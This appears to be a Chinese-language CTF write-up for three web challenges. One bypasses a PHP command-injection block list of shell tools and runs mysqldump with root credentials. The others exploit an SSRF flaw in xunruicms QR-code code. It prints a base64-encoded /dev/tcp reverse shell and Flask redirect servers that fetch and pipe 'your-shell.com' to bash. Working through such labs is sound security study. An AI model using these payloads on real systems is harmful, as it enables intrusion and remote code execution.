web
Simple_php
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
过滤了很多函数,前面还加了escapeshellcmd
阻止多命令
可以用diff
和paste
来读文件
diff
直接查目录cmd=diff / /tmp
ps aux
有个mysql跑,flag在mysql里。但是没有交互不好查表
可以选择mysqldump -uroot -proot --all-database
直接dump数据
由于没有banphp
,也可以用php动态调用的特性直接反弹shell
php中md5()
不传参的情况下返回值为空
str_replace("test",md5(),"batestse64_decode") --> base64_decode
php -r echo((str_replace("test",md5(),"batestse64_decode"))("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMQ"));
反弹shell进mysql
easycms
hint
提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?
xunruicms
,在dayrui\Fcms\Control\Api\Api.php:50
有生成二维码的方法,其中经过dr_catcher_data
调用curl,可以造成ssrf
源码如下(黑盒):
public function qrcode() {
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (false && !IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$host = parse_url($thumb,PHP_URL_HOST);
$ip = gethostbyname($host);
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
exit("ip不正确");
}
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}
由于通过gethostbyname()
函数拿到ip,一般对regex的bypass没法绕过
只能用302跳转
@app.route('/')
def index():
return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash")
easycms_revenge
源码(黑盒):
public function qrcode()
{
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH . 'Library/Phpqrcode.php';
$file = WRITEPATH . 'file/qrcode-' . md5($value . $thumb . $matrixPointSize . $errorCorrectionLevel) . '-qrcode.png';
if (false && !IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$parts = parse_url($thumb);
$hostname = $parts['host'];
$ip = gethostbyname($hostname);
$port = $parts['port'] ?? '';
$newUrl = $parts['scheme'] . '://' . $ip;
if ($port) {
$newUrl .= ':' . $port;
}
$newUrl .= $parts['path'];
if (isset($parts['query'])) {
$newUrl .= '?' . $parts['query'];
}
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
exit("ip不正确");
}
$context = stream_context_create(array('http' => (array('follow_location' => 0))));
$img = getimagesizefromstring(file_get_contents($newUrl, false, $context));
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($newUrl);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width / $logo_qr_width;
$logo_qr_height = $logo_height / $scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}
这里重写了获得图片信息的逻辑,并且阻止302跳转了
$context = stream_context_create(array('http' => (array('follow_location' => 0))));
但只是第一次访问的时候会判断是否图片,是则用curl再访问一遍
可以看到第二次用curl访问的时候明显多个Accept参数,所以在302跳转前加个判断即可
也可以用全局计数,第一次访问返回正常图片,第二次302
@app.route('/')
def index():
global visited
if not visited:
visited = True
return send_file('./1.png', mimetype='image/png')
else:
visited = False
return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash")